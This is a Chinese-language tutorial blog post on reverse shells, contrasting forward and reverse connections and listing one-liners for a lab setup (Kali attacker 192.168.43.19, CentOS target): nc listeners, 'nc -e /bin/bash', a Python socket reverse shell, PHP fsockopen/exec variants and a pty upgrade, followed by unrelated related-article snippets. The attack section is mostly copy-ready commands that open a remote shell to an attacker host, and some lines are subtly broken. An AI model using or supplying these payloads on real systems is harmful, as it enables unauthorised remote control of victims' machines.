反弹Shell

ops/2024/10/22 0:09:36/

常见一句话反弹Shell

反弹攻击机开监听端口,靶机主动去连

正弹靶机开启端口,攻击机去主动去连

正向连接

正向shell:客户端(我)想要获得服务端的shell

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

反向shell:**受害者的shell(权限)弹到攻击机上

  • 场景模拟
    • 假设小黑是一名黑客
    • 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
    • 小黑发现电脑里有一个有趣的文件(刘看山的秘密)
    • 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
    • 回到家后,小黑打开这个文件
    • 发现电脑被刘看山控制了~
    • (这里小黑是客户端,刘看山是服务端,客户端发射shell)

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•..

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell命令

得到shell一方(攻击机)只需要开启一个口子(监听端口),给shell一方(靶机)主动去找我们这个口子(监听端口),找口子所填写的地址端口都是攻击机的


kali开启监听端口,靶机主动连接后将shell反弹给攻击机

CentOS7  192.168.43.186kali   192.168.43.19

nc

攻击机开启监听5555端口,等待靶机主动连接并反弹shell

nc -lvp 5555

靶机连接攻击机并将shell反弹过去 ,这样在攻击机上就可以执行靶机系统中命令

// 建立一个反向Shell连接,将远程主机的Shell连接到本地的/bin/bash程序
// Bash是一种命令行解释器,用户可以通过它执行各种命令 类似于windows的cmdnc -e /bin/bash 192.168.43.19 5555  // 反弹到攻击机开启的5555端口上

bash shell

反弹bash shell命令详解 

攻击机开启监听7777端口,等待靶机主动连接并反弹shell

nc -lvp 7777

靶机执行此命令,填写的IP是攻击

// 将自身的bash面板(cmd)重定向到攻击机的7777端口上/dbash -i是创建一个交互的bash shell/dev/tcp/是bach实现网络请求的一个接口,打开这个文件就相当于发出了一个socket调用,建立一个socket连接

python

攻击机开启监听6666端口,等待靶机主动连接并反弹shell

nc -lvp 6666

靶机存在Python环境输入此命令修改IP端口即可

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.43.19',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

php

攻击机开启监听4444端口,等待靶机主动连接并反弹shell

nc -lvp 4444

靶机输入此命令即可反弹,但是PHP反弹需要php关闭safe_mode这个选项,才可以使用exec函数

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.43.19/4444")'orphp -r '$sock=fsockopen("192.168.43.19",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

如成功反弹后shell面板不是常规的调用此命令转化

python -c 'import pty;pty.spawn("/bin/bash")'

http://www.ppmy.cn/ops/127410.html

相关文章

React开发一个WebSocket

export default class SocketService {static instance null;static get Instance() {if (!this.instance) {this.instance new SocketService();}return this.instance;}// 和服务端连接的socket对象ws null;// 存储回调函数callBackMapping {};// 标识是否连接成功connec…

图书管理新纪元:Spring Boot进销存系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理图书进销存管理系统的相关信息成为必然。开…

滚雪球学Redis[6.1讲]:Redis的高级特性与应用

全文目录: 前言1. Redis事务Redis事务的概念与实现使用MULTI、EXEC命令实现事务Redis事务的注意事项与陷阱 2. Redis脚本与Lua使用Lua脚本的优势EVAL命令与Lua脚本的编写Lua脚本的安全性与性能 3. Redis分布式锁分布式锁的概念与应用场景使用Redis实现分布式锁Redlo…

什么是SQLite?

一、什么是SQLite? SQLite是一个进程内的软件库,实现了自给自足的、无服务器的、零配置的、事务性的SQL数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。 就像其它数据库,SQLite引擎不是…

git分支模型

定义分支 长期分支 指长期存在的分支,也叫固定分支 developmaster 短期分支 短分支没有固定的分支名。但是有分支名规范 feature分支hotfix分支 分支模型 暂时无法在文档外展示此内容 参考 分支的目的是隔离,但多一个分支也意味着维护成本的增加。…

可调用对象和Lambda

可调用对象: 函数 函数指针 函数对象 Lambda表达式(匿名函数) 01 函数对象 如果一个类实现了"函数调用运算符()"的重载,那么这个类的对象称为函数对象(仿函数) 函数对象的行为,类似于函数,可以被调用 #include …

【Docker技术详解】(一)Docker镜像文件系统的关系和交互

Docker镜像文件系统的关系和交互 Docker 是用于容器化应用程序的平台,它通过镜像和容器来实现应用的隔离和管理。在这个过程中,Docker 镜像的文件系统与宿主机的文件系统之间有特定的关系和交互方式。本文将详细讨论这些关系,并提供一些示例…

PHP中的ReflectionClass常见用法

ReflectionClass是 PHP 中的一个类,它提供了有关类的信息的反射。 使用ReflectionClass可以在运行时获取关于类的各种信息,例如类的名称、方法、属性、注释等。 以下是一些常见的用法: 获取类的名称: $reflection new Reflec…